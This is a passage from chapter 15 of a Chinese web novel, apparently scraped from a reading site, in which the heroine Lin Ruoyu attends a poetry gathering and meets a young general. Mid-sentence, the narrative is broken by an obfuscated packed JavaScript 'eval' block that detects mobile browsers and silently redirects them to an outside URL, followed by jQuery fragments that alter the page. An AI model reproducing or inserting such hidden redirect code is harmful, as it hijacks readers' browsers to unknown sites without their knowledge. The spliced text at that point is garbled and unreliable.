15. 第 15 章
作品:《一个病娇两个伴》 很快,便到了刘尚书府举办诗会的日子。
天刚蒙蒙亮,白露便捧着一整套时新的珠花钗环进来,想要给林若妤仔细梳妆打扮。
“不必太过隆重,梳简单的发髻就行。”林若妤拦下了一大早就准备给她精心打扮的白露,“你先前去马房问过了吗?今日府里备下了几辆马车?”
“回姑娘,是两辆。”白露手上一顿,眼底不自觉地露出几分佩服。
按说同府的姑娘出行,向来是只备一辆马车的。偏偏今日天还没亮,自家姑娘就特意把她叫过去,反复叮嘱去马房确认车马安排,如今果然如她所料,备下了两辆。
这般心思缜密,实在不像从前那个浑浑噩噩的二姑娘。
林若妤微微颔首,算是应下,又伸手按住了还想继续忙活的白露,神色骤然郑重了几分,目光沉沉地望着她,“白露,如今在这府里,我能真心托付、全然相信的人,只有你一个。今日去尚书府,不论遇上什么事,你都一定要稳住心神,千万不能惊慌失措。”
白露方才还有些欣慰,这话一落,心头猛地一沉,只觉晴天霹雳一般。
只是参加个诗会而已,赏花饮酒,吟诗作对也会出事吗?
“姑娘…”她连声音都轻了几分,下意识攥紧了手中的朱钗。
“白露…”见她似乎有些害怕,林若妤心头微软,伸手轻轻握住了她微凉的指尖,“我如今身边可信的人只有你一个,旁人…终究是靠不住的,往后很多事,我们怕是都只能靠自己。”
她心里清楚,无论是那位看似温和、实则智计卓绝的虞秋月,还是那位身份神秘、来去无踪的萧云景,他们都有太多自己的事要忙,有太多大事要处理,更有着各自的盘算与筹谋。
偶尔伸手拉她一把,是算她走运,若是顾不上她…
那也是理所当然,无可厚非,半点怨不得人。
这侯府深宅,从来都不是什么安稳之地。她不能把所有希望都寄托在别人身上,唯有自己步步小心,逐步逐步培养出自己的力量,才能勉强站稳脚跟。
“我问你。”思及此处,林若妤正色,“如今国公府的账目都是我姐姐在管,我醒来后一直忘了问,我可有什么私产?比如我娘的嫁妆?还是我自己偷偷置办的什么田产铺子的?”
“有的,姑娘。”白露不明白为什么姑娘会突然问起这个,但最近她也隐约明白,眼前的姑娘,已经不是从前的姑娘了。
但是她觉得挺好的。
一个会谋算,会装弱,会关心自己身体和产业的姑娘,比从前那个只会被大姑娘气哭后发脾气,真的病恹恹的,除了二殿下眼里什么也没有的姑娘,好一些。
虽然她还是每天跟着提心吊胆的,甚至比从前干了更多出格的事,可她就是莫名的觉得安心,觉得…大概只有这样的姑娘,才能在大姑娘手下,活的好一些,久一些。
白露敛神,回道,“夫人的产业都在王嬷嬷手上打理,从前姑娘顾不上管这些,王嬷嬷又整日里哭,说是自己的孙儿需要照顾,您便让她出府别住了。”
林若妤不解,“带着我娘的产业,出府别住?”
“是的,姑娘。”白露点头,“每年王嬷嬷都会进献两千两白银的收益。”
“哦。”林若妤心如止水,“明日让她进府一趟,带着账册。”
“是,姑娘。”白露见她不高兴,抿了抿唇,不敢偷笑,只垂眸帮她挽发髻。
林若妤到底不想让姐姐碰上她带的人,等收拾妥当,立刻就带着三人上了备好的马车,一路催着赶紧走。
等到了尚书府门口,她握了握白露的手,又叮嘱了一遍,“记得我跟你说的话吗?”
“奴婢一定稳得住,姑娘放心。”白露只当看不见另外两个人,郑重应诺。
“好白露,等明儿钱要回来了,姑娘我给你涨月俸。”
白露这会儿真真切切地露出了一个笑,“多谢姑娘。”
虞秋月跟她们一起在马车里,只觉得这位二姑娘真是赤子之心,率性可爱,而马车外跟车夫坐在一起的萧云景却没那么好耐心了,他敲了敲车门,示意可以下车了。
林若妤深吸一口气,“走吧,赴宴!”
尚书府的庭院不算格外气派,只是寻常官邸的清雅格局,青瓦白墙,几株老槐遮着荫,廊下摆着素净的盆花,看着规整却不张扬。
前庭已按诗会规制布好席位,正中设着两张主位,锦垫考究,分明是为太子与二皇子所留。
两侧侧又各设了几个席位,铺着素色锦缎,案几上陈设着青瓷茶盏、点心小食、素色笺纸与松烟墨锭,一派雅致庄重,正是林若妤她们这些备下彩头的贵女、公子之位。
今日诗会请来的多是京中世家闺秀与青年才俊,女眷们多在廊下、花荫处立着,轻摇团扇,低声说笑。
青年公子则聚在阶前,偶尔论几句诗文,举止都带着分寸。
众人虽闲谈不断,却都不敢太过喧哗,时不时有人下意识望向府门方向,大约是想着今日太子殿下亲临,可千万不能失了礼数。
林若妤到早了,一个她认识的也没来,不过话说回来,其实她也没认识几个人…正端着茶杯四处乱瞄,却对上了对面席位一双沉郁的眼睛。
她有些挪不开眼了。
对面坐着的是男宾席位,也是如她一般添了彩头躲懒的,他坐姿挺拔如松,肩宽腰窄,一身利落装束更衬得身形俊朗笔挺。
举手投足皆是利落气度,浑身透着一股硬朗、沉稳的阳刚之气,英气逼人。五官轮廓分明,鼻梁高挺,眉目间淡淡的愁绪更是将这股英朗之气发挥到了极致,不笑时自带几分凛然气场。
似乎是她愣神的久了些,他发现了她的目光,迟疑了片刻便起身走了过来。
“林二姑娘,有礼了。”他弯腰作揖。
“咳咳咳…”林若妤一慌,便又低低咳嗽了两声,怎么办,她认不认识这个人?
“陆羽小将军,有礼了。”虞秋月递了一杯水过去,轻拍她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487571|202101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的后背,笑着对面前的男子行礼道,“我们姑娘大病初愈,身子还弱,还请见谅。”
“林二姑娘千万保重才是。”他拧眉,想起来什么似的从怀里掏了一个小瓶子递了过去,“这是陆某家传的人参丸,补气养身是最好不过的。”
“怎么好收小将军的礼。”林若妤也起身还礼,“方才是瞧着小将军似有愁绪,一时多思,走神了,还请将军见谅。”
“二姑娘真是体察入微,是在下唐突了,不曾注意姑娘已随身带着府医。”陆羽轻笑着收回了瓶子,“春来天气多变,二姑娘若是实在身体不适,这样的场合还是告假为上。”
啊?林若妤被他说愣了,怎么,还能请假的吗?没有人告诉她啊!
“多谢陆小将军提醒,若妤记下了。”
“咦,陆小将军今日怎么也得空拨冗来诗会了?”沈晴芳隔得老远就见两人这个不尴不尬地站着,走近打趣道,“真是难得,今日的诗会真是英才汇聚啊。”
“沈姑娘。”陆羽作揖,似是有些无奈,“家里闷得久了,母亲大人叮嘱了让出来走动走动。”
沈晴芳闻言忍俊不禁,“可惜了今日的宴会不曾邀请各位夫人,不然陆夫人亲自过来,想必更有收获些。”
陆羽无奈一笑,拱手告辞,“不打扰二位姑娘小叙了。”
等三人各自落座,林若妤这才嗔了她一眼,“欺负老实人,真有本事。”
“你就知道他是老实人了?”沈晴芳笑得戏谑,“要不是我,你们两现在只怕是还在那姑娘来,将军去的呢。怎么,不惦记二殿下,看上陆小将军了?”
“我只是见他似有愁绪,好奇而已。”林若妤抿了口茶,不准备继续这个话题,“那日在府上,多谢你了。”
“咱们俩还说这个。”沈晴芳摆摆手,“你且坐着吧,今日的诗会可有好戏看了。”
太子与二殿下难得同席,连从不参宴的陆小将军也来了,真是盛况。
等刘府的庶女刘如慧入席的时候,众人都安静了一瞬,随即默契般的说笑的说笑,赏花的赏花,只当没看见她。
林若妤与沈晴芳对视了一眼,皆是心照不宣地笑了一笑。
这个刘如慧,也太招摇了。
林方雅也顺着众人的目光看了过去,笑意渐冷。
只见得刘如慧今日身上穿的并非府中规制的绫罗,反是色泽艳俗的软缎,领口裁得略低,腰身又收得过分贴身,裙摆短了几分,走动时难免轻佻失仪。
身为庶女,鬓边并未按规矩插戴素净玉簪、金钗镶珠,反倒别了几支样式张扬的红宝石钗环,追着水晶流苏,耳饰竟是不知从哪儿得来的异色珍珠,颈间还硬系了条不合身份的赤金璎珞。
诗社本是雅集,更兼今日人多眼杂,是以在坐的多是清雅、庄重的打扮,她这一出场,竟是满堂的贵女也没有能一个在打扮上盖过了她的。
这般失了分寸、不合体统,真当自己被太子夸了一句,便能飞上枝头变凤凰了?

